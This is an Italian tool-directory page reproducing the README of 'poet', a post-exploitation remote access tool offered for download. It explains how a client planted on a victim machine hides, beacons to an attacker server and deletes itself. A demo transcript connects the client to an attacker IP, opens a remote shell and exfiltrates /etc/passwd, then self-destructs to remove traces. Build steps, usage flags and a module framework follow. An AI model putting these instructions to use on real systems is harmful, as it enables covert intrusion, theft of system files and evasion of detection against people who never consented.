Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
poet — [non più mantenuto] Strumento di post-exploitation | Kitploit
Strumenti/GitHubGitHub/offlinemark/poet
RicognizioneGenerazione di PayloadEsfiltrazione DatiPost-ExploitCommand and ControlRed TeamingStrumento di Accesso Remoto
GitHubofflinemark/poet

poet

[non più mantenuto] Strumento di post-exploitation

Vedi Repository
1815010 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

poet

Un semplice strumento di post-sfruttamento.

panoramica

Il programma client viene eseguito sulla macchina target ed è configurato con un indirizzo IP (il server) a cui connettersi e una frequenza di connessione. Se il server non è in esecuzione quando il client tenta di connettersi, il client si mette in attesa silenziosamente e riprova al prossimo intervallo. Se invece il server è in esecuzione, l'attaccante ottiene una shell di controllo per gestire il client ed eseguire varie azioni sul target, tra cui:

  • ricognizione
  • shell remota
  • esfiltrazione di file
  • download ed esecuzione
  • autodistruzione

demo

Questo è solo un piccolo esempio di ciò che Poet può fare.

Lo scenario è il seguente: un attaccante ha ottenuto l'accesso alla macchina della vittima, ha scaricato ed eseguito il client. In questo momento non ha il server in esecuzione, ma non c'è problema: il client attende pazientemente. Alla fine l'attaccante è pronto e avvia il server, prima avviando una shell ed eseguendo uname -a, poi esfiltra /etc/passwd. Quindi esce e si scollega dal client, che continua a essere eseguito sul target in attesa della prossima opportunità di connettersi al server. Successivamente, si riconnette, autodistrugge il client, rimuovendo ogni traccia dal target.

Victim's Machine (5.4.3.2):

root@kitploit:~
$ ./poet-client 1.2.3.4 10  # poet-client daemonizes, so there's nothing to see

Attenzione: Dopo aver eseguito questo comando, dovrai eseguire selfdestruct dal server, o uccidere il processo poet-client per fermare il client.

Macchina dell'attaccante (1.2.3.4):

root@kitploit:~
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
  chint
  dlexec
  exec
  exfil
  exit
  help
  recon
  selfdestruct
  shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
    You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated

per iniziare

Vai alla pagina delle release e scarica gli ultimi file poet-client e poet-server disponibili.

Poi salta alla sezione Utilizzo qui sotto.

In alternativa, puoi compilare Poet da solo (è abbastanza semplice, vedi sotto).

compilazione

Assicurati di avere gli eseguibili python2.7 e zip disponibili.

root@kitploit:~
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make

Questo creerà una directory bin/ che contiene poet-client e poet-server.

utilizzo

Poet è estremamente facile da usare e non richiede altro che la libreria standard di Python (2.7). Per testarlo facilmente, un'invocazione tipica sarebbe:

Terminal 1:

root@kitploit:~
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct

Per impostazione predefinita, il client Poet si demonizza e si cancella dal disco, quindi questo comportamento viene soppresso utilizzando i flag --debug e --no-selfdestruct.

Terminal 2:

root@kitploit:~
$ sudo ./poet-server

Per impostazione predefinita, il server deve essere eseguito come root (usando sudo) perché la porta predefinita a cui si lega è la 443. Se ciò ti mette a disagio, ometti semplicemente sudo e usa il flag -p <PORT> sia sul client che sul server. Scegli un numero di porta alto (> 1024).

configurazione

Il file common/config.py contiene varie impostazioni di configurazione opzionali per le build di Poet.

  • AUTH: Token di autenticazione segreto condiviso tra client e server per l'autenticazione del client. Nota che quello predefinito non è affatto segreto. Per qualsiasi uso non di test, si consiglia di modificarlo con un altro valore non indovinabile. Nota che i pacchetti precompilati utilizzano il token di autenticazione predefinito e pubblico.
  • ARCHIVE_DIR: Directory utilizzata dal server per archiviare i file (output di esecuzione, esfil, ricognizione, ecc.).
  • SERVER_IP: Indirizzo IP del server.
  • BEACON_INTERVAL: Secondi tra i beacon del client al server.

Le configurazioni SERVER_IP e BEACON_INTERVAL consentono di incorporare negli eseguibili finali informazioni precedentemente richieste come argomenti della riga di comando, in modo che l'eseguibile finale possa essere semplicemente eseguito senza argomenti. Valori None per uno dei due li fanno tornare al comportamento predefinito (argomento della riga di comando richiesto per SERVER_IP, argomento della riga di comando opzionale per BEACON_INTERVAL).

client

root@kitploit:~
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
                   IP [INTERVAL]

positional arguments:
  IP                    Poet Server
  INTERVAL              Beacon Interval, in seconds. Default: 600

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  --debug               show debug messages. implies --no-daemon
  --no-daemon           don't daemonize
  --no-selfdestruct     don't selfdestruct

Poet è un'applicazione client/server. Il client viene eseguito sul target e invia beacon al server a un certo intervallo di tempo. L'unico argomento richiesto è l'indirizzo IP dove il server è o sarà in esecuzione. Opzionalmente, può essere seguito dall'intervallo di tempo in secondi per la frequenza dei beacon, che per impostazione predefinita è di 10 minuti. La porta su cui il client deve inviare i beacon può essere specificata con il flag -p. Tutti gli altri flag non verrebbero utilizzati durante l'uso "reale" e esistono principalmente per il debug.

server

root@kitploit:~
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  -v, --version         prints the Poet version number and exits

Il server viene eseguito sulla macchina dell'utente e resta in ascolto dei beacon dal client. Per impostazione predefinita, ascolta su una porta privilegiata (443) e deve essere eseguito con privilegi (che vengono rapidamente rilasciati dopo il binding). Il flag -p può essere usato per bypassare questo aspetto selezionando una porta non privilegiata su cui rimanere in ascolto (>1024).

estensibilità

Poet è altamente estensibile attraverso il suo framework di moduli; infatti, quasi tutti i comandi disponibili nella shell posh sono implementati come moduli. Possono essere visualizzati nella directory common/modules/. Il file common/modules/template.py funge da modulo di esempio essenziale, da utilizzare come punto di partenza. Per aggiungere un modulo Poet, basta inserirlo nella directory common/modules/ e ricompilare Poet usando make.

Ecco un semplice modulo di esempio che mostra la comunicazione di base tra client e server. Il modulo registra un comando posh, invia una stringa, il client la inverte e la rimanda indietro, e il server la stampa.

root@kitploit:~
# Note: this module doesn't check if an argv[1] was given

import module


@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)


@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

Il modulo inizia con

root@kitploit:~
import module

Questo è obbligatorio e necessario per registrarsi nel framework dei moduli.

La sezione successiva è il componente lato server del modulo.

root@kitploit:~
@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)

Il decoratore @module.server_handler() viene utilizzato per registrare un comando posh passando il nome del comando come parametro del decoratore e definendo una funzione handler da eseguire quando il comando viene lanciato. La funzione handler deve accettare due parametri: l'istanza del PoetServer che ha chiamato il modulo, e la stringa di comando inserita, rappresentata come lista di argomenti. L'istanza del server esiste affinché il modulo possa utilizzare funzioni helper per comunicare con il client, scrivere file nella directory degli archivi, ecc. Il modulo usa server.conn.exchange() per inviare la riga di comando inserita come stringa al client e ottenere la risposta come valore di ritorno.

Il componente lato client del modulo è il seguente.

root@kitploit:~
@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

Il decoratore @module.client_handler() viene utilizzato per registrare un task a cui il client deve reagire ed elaborare. Poiché client e server comunicano scambiandosi stringhe, la prima parte della stringa è la parola chiave per un task particolare. Il modulo registra una funzione handler lato client da eseguire quando arriva un messaggio dal server che inizia con 'reverse'. Analogamente all'handler del server, l'handler del client deve accettare parametri per l'istanza del PoetClient che lo ha chiamato e la stringa di input passata dal server. Il client utilizza quindi la funzione client.s.send() per inviare dati al server, in questo caso, il primo argomento invertito.

In azione, si presenta così

root@kitploit:~
posh > reverse poet
Sending: poet
Received: teop

preoccupazioni

Preoccupazioni documentate:

  • mancanza di comunicazioni protette crittograficamente
  • i beacon a intervalli brevi sono rumorosi e generano TCP RST quando il server è inattivo
  • il comando shell non è una shell "reale" e non supporta la maggior parte dei built-in presenti nelle shell standard

disclaimer

Sto sviluppando Poet esclusivamente per la mia formazione e apprendimento. Il codice è disponibile liberamente perché penso possa essere utile ad altri interessati a imparare questo genere di cose. Usalo in modo responsabile.

Scarica lo strumento